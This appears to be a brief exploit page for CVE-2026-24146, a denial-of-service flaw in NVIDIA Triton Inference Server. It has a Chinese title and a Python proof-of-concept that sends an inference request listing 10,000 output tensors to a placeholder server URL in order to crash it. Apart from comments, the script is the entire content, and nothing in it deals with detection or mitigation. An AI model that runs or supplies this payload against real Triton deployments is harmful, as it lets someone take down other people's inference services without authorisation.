CVE-2026-24146 NVIDIA Triton 推理服务器拒绝服务漏洞

import requests import json # Target URL (replace with actual target) target_url = "http://target-triton-server:8000/v2/models/example_model/infer" # Malicious payload requesting excessive outputs # Simulating a request that triggers the "large number of outputs" vulnerability payload = { "id": "test_dos", "inputs": [ { "name": "input0", "shape": [1, 16], "datatype": "FP32", "data": [0.0] * 16 } ], "outputs": [ # Generating a large number of output requests to trigger the crash {"name": f"output_{i}"} for i in range(10000) ] } headers = {"Content-Type": "application/json"} try: print(f"Sending malicious request to {target_url}...") response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=10) print(f"Response Status Code: {response.status_code}") # If the server crashes, the response might be a timeout or connection error except requests.exceptions.RequestException as e: print(f"Potential DoS triggered: {e}")